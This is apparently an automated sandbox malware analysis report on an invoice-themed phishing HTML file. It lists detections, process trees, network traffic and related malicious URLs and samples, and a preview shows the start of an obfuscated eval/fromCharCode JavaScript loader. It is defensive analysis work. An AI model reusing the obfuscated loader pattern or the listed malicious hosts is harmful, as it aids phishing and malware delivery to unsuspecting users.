Edit tour

Windows Analysis Report
FV2025020697808.html

Overview

General Information

Sample name:	FV2025020697808.html
Analysis ID:	1638120
MD5:	4c2253abb3063d9aeb716a6d7399f3db
SHA1:	83a64f5a7d4792a49ec20c8107dfacaa33bbdfe3
SHA256:	f344c34ac5da6732cbebd8b9609b88a39044767162510912cb7473bf2ca308f5
Infos:

Detection

Score:	48
Range:	0 - 100
Confidence:	100%

Signatures

AI detected suspicious Javascript

Detected javascript redirector / loader

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6968 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3628 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,13867915253657794651,6207019692013476557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2224 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,13867915253657794651,6207019692013476557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3896 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\FV2025020697808.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Joe Sandbox Signatures

• Phishing
• Software Vulnerabilities
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.2.d.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution via `eval()` and potential data exfiltration. The obfuscated code and encoded strings further increase the suspicion of malicious intent. While the specific purpose is unclear, the overall behavior is highly concerning and indicative of a high-risk script.

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.84.6.254

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: s4.histats.com
Source: global traffic	DNS traffic detected: DNS query: filehost200885.info
Source: global traffic	DNS traffic detected: DNS query: _13621._https.filehost200885.info
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons2.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons3.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons4.gvt2.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49678
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,13867915253657794651,6207019692013476557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2224 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,13867915253657794651,6207019692013476557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3896 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\FV2025020697808.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,13867915253657794651,6207019692013476557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2224 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,13867915253657794651,6207019692013476557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3896 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Reputation
filehost200885.info	156.229.228.198	true	false	unknown
beacons3.gvt2.com	142.250.181.227	true	false	high
s4.histats.com	142.4.219.198	true	false	high
beacons-handoff.gcp.gvt2.com	142.250.180.67	true	false	high
www.google.com	142.250.186.68	true	false	high
beacons2.gvt2.com	142.250.181.163	true	false	high
beacons.gvt2.com	142.251.143.35	true	false	high
beacons4.gvt2.com	216.239.32.116	true	false	high
beacons6.gvt2.com	142.250.186.163	true	false	high
_13621._https.filehost200885.info	unknown	unknown	false	unknown
beacons.gcp.gvt2.com	unknown	unknown	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
142.250.186.36	unknown	United States	15169	GOOGLEUS	false
156.229.228.198	filehost200885.info	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
142.4.219.198	s4.histats.com	Canada	16276	OVHFR	false

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638120
Start date and time:	2025-03-14 08:23:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FV2025020697808.html
Detection:	MAL
Classification:	mal48.phis.winHTML@34/0@82/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
142.4.219.198	http://www.meherald.com.au/	Get hash	malicious	Unknown	Browse	sstatic1.histats.com/0.gif?4786559&101
156.229.228.198	faktura_FV2025020660849.html	Get hash	malicious	Unknown	Browse
156.229.228.198	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
beacons3.gvt2.com	https://mikeservers.eu/favicon.ico	Get hash	malicious	Unknown	Browse	142.250.186.67
	yUgCaQhCIc.exe	Get hash	malicious	Unknown	Browse	142.250.186.35
	http://marina84.com/food/	Get hash	malicious	Unknown	Browse	142.250.185.163
	http://allstarteventsmiami.com	Get hash	malicious	Unknown	Browse	142.250.186.131
	http://lookerstudio%2e%67%6f%6f%67%6c%65%2e%63%6f%6d/s/tVpHSqKmotA	Get hash	malicious	HTMLPhisher	Browse	172.217.18.3
	http://insprocks.com/Insprock289.exe	Get hash	malicious	Unknown	Browse	142.250.184.195
	https://sites.google.com/view/rfdzxgffg/home	Get hash	malicious	Unknown	Browse	172.217.18.99
	Robert Martin shared _Clarion Security _ with you {Ref _8589}.eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	172.217.18.3
	https://simplified.com/designs/cd97e327-288b-43f7-99e7-024626ab4a8c/share?utm_content=cd97e327-288b-43f7-99e7-024626ab4a8c&utm_campaign=share&utm_medium=link&utm_source=projectlinks	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	142.250.181.227
beacons2.gvt2.com	https://mikeservers.eu/favicon.ico	Get hash	malicious	Unknown	Browse	64.233.160.94
	yUgCaQhCIc.exe	Get hash	malicious	Unknown	Browse	216.239.32.3
	Dioxide.exe	Get hash	malicious	Unknown	Browse	172.217.168.35
	http://marina84.com/food/	Get hash	malicious	Unknown	Browse	172.217.19.163
	http://allstarteventsmiami.com	Get hash	malicious	Unknown	Browse	216.58.209.195
	http://lookerstudio%2e%67%6f%6f%67%6c%65%2e%63%6f%6d/s/tVpHSqKmotA	Get hash	malicious	HTMLPhisher	Browse	172.217.0.163
	https://steanmrcommunity.com/1052917516	Get hash	malicious	Unknown	Browse	142.250.192.3
	https://sites.google.com/view/sysgfdgsfghgfdvvbffdv-hgfdcfb/home	Get hash	malicious	Unknown	Browse	216.239.32.3
	http://app.plangrid.com/projects/bcb97291-5564-5612-9970-d1b139dcb62d/staple/b1fc2804-67d4-470e-9780-d2d4344b3b93	Get hash	malicious	Unknown	Browse	216.239.32.3
	http://insprocks.com/Insprock289.exe	Get hash	malicious	Unknown	Browse	172.253.124.94
s4.histats.com	faktura_FV2025020660849.html	Get hash	malicious	Unknown	Browse	149.56.240.132
	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse	149.56.240.129
	http://ww3.0123movies.com.co	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	54.39.128.162
	http://68.183.190.199	Get hash	malicious	Unknown	Browse	149.56.240.130
	SUS.ps1	Get hash	malicious	Unknown	Browse	142.4.219.198
	analysis.vbs	Get hash	malicious	Unknown	Browse	149.56.240.127
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	142.4.219.198
	https://getwellslogsnowonline.vercel.app/	Get hash	malicious	Unknown	Browse	149.56.240.132
	https://fooofooofooo.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.127
	El3cE5jq1L.pdf	Get hash	malicious	Unknown	Browse	149.56.240.129
beacons-handoff.gcp.gvt2.com	http://6ziv5.escortagencybangalore.com/rd/4IMxhQ4645tIMt85vcjvrjbito246VNJQRKRLOLTJBDI7792FQXV17397G12	Get hash	malicious	Unknown	Browse	142.250.180.67
	http://Alliancevvs11.ebtrk3.com	Get hash	malicious	Unknown	Browse	142.251.143.67
	https://mikeservers.eu/favicon.ico	Get hash	malicious	Unknown	Browse	142.251.143.67
	yUgCaQhCIc.exe	Get hash	malicious	Unknown	Browse	142.251.143.67
	Dioxide.exe	Get hash	malicious	Unknown	Browse	142.250.185.195
	http://marina84.com/food/	Get hash	malicious	Unknown	Browse	142.251.143.67
	http://czm11.cavernbeatles.com/rd/4EiHFs5060pdwZ594ueemlltgbq246DXCLIFRFRUUFCZD7792KXRQ15860r19	Get hash	malicious	Unknown	Browse	142.251.143.35
	http://learn-docs-trazure.github.io/	Get hash	malicious	Unknown	Browse	142.250.186.35
	http://s.team-fg.com/p/jjnh-trfg/frmkhpcw/	Get hash	malicious	Unknown	Browse	142.250.180.67
	http://safety-profiles-fb-ads-156388685.vercel.app/	Get hash	malicious	Unknown	Browse	142.250.180.99

IP
192.168.2.17
192.168.2.16
192.168.2.4
192.168.2.6
192.168.2.5
192.168.2.13

File type:	HTML document, ASCII text, with very long lines (65438), with CRLF line terminators
Entropy (8bit):	3.7278132522548453
TrID:	HyperText Markup Language (15015/1) 30.02% HyperText Markup Language (12001/1) 23.99% HyperText Markup Language (12001/1) 23.99% HyperText Markup Language (11001/1) 21.99%
File name:	FV2025020697808.html
File size:	125'927 bytes
MD5:	4c2253abb3063d9aeb716a6d7399f3db
SHA1:	83a64f5a7d4792a49ec20c8107dfacaa33bbdfe3
SHA256:	f344c34ac5da6732cbebd8b9609b88a39044767162510912cb7473bf2ca308f5
SHA512:	776dcfb63001e44098840907dd7eb45a87aa839169f98e1a501011a2f08f6fa959efbb3109062e6fc5ce0840feda6f1452dad20fe5662ac7b2ca04a07c6d3159
SSDEEP:	3072:uFGSCGKSiBTYQmFsHAeN2a6OoyJ7SKhbxBB/oe0c2I9+bk:8F2BU8dYk
TLSH:	FFC3E3322D792A10FDB79247A7FA0A6CEF21D1391F013EA85482E2541E7A569FF0375C
File Content Preview:	<!DOCTYPE html>..<html>.. <head>.. <meta charset="utf-8">.. </head>.. <body>.. <script>.. var kiPBtXjTaWX = "evaYstgZRl(\"qHhzUDhowIWfAXhdbAeCdy = ''; \" + StrinYstgZRg.fYstgZRromCharCode.apYstgZRply(null, \"80+22Lts120-3Lts94+16Lts81+18Lts1

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 08:24:29.124615908 CET	49672	443	192.168.2.5	204.79.197.203
Mar 14, 2025 08:24:33.937100887 CET	49672	443	192.168.2.5	204.79.197.203
Mar 14, 2025 08:24:34.636581898 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 08:24:34.937094927 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 08:24:35.546536922 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 08:24:36.749615908 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 08:24:39.233975887 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 08:24:43.690758944 CET	49672	443	192.168.2.5	204.79.197.203
Mar 14, 2025 08:24:44.033332109 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 08:24:45.508816004 CET	49730	443	192.168.2.5	142.250.186.68
Mar 14, 2025 08:24:45.508850098 CET	443	49730	142.250.186.68	192.168.2.5
Mar 14, 2025 08:24:45.508959055 CET	49730	443	192.168.2.5	142.250.186.68
Mar 14, 2025 08:24:45.509955883 CET	49730	443	192.168.2.5	142.250.186.68
Mar 14, 2025 08:24:45.509968996 CET	443	49730	142.250.186.68	192.168.2.5
Mar 14, 2025 08:24:45.710005999 CET	443	49730	142.250.186.68	192.168.2.5
Mar 14, 2025 08:24:45.711000919 CET	49733	443	192.168.2.5	142.250.186.68
Mar 14, 2025 08:24:45.711024046 CET	443	49733	142.250.186.68	192.168.2.5
Mar 14, 2025 08:24:45.711085081 CET	49733	443	192.168.2.5	142.250.186.68
Mar 14, 2025 08:24:45.711823940 CET	49733	443	192.168.2.5	142.250.186.68
Mar 14, 2025 08:24:45.711832047 CET	443	49733	142.250.186.68	192.168.2.5
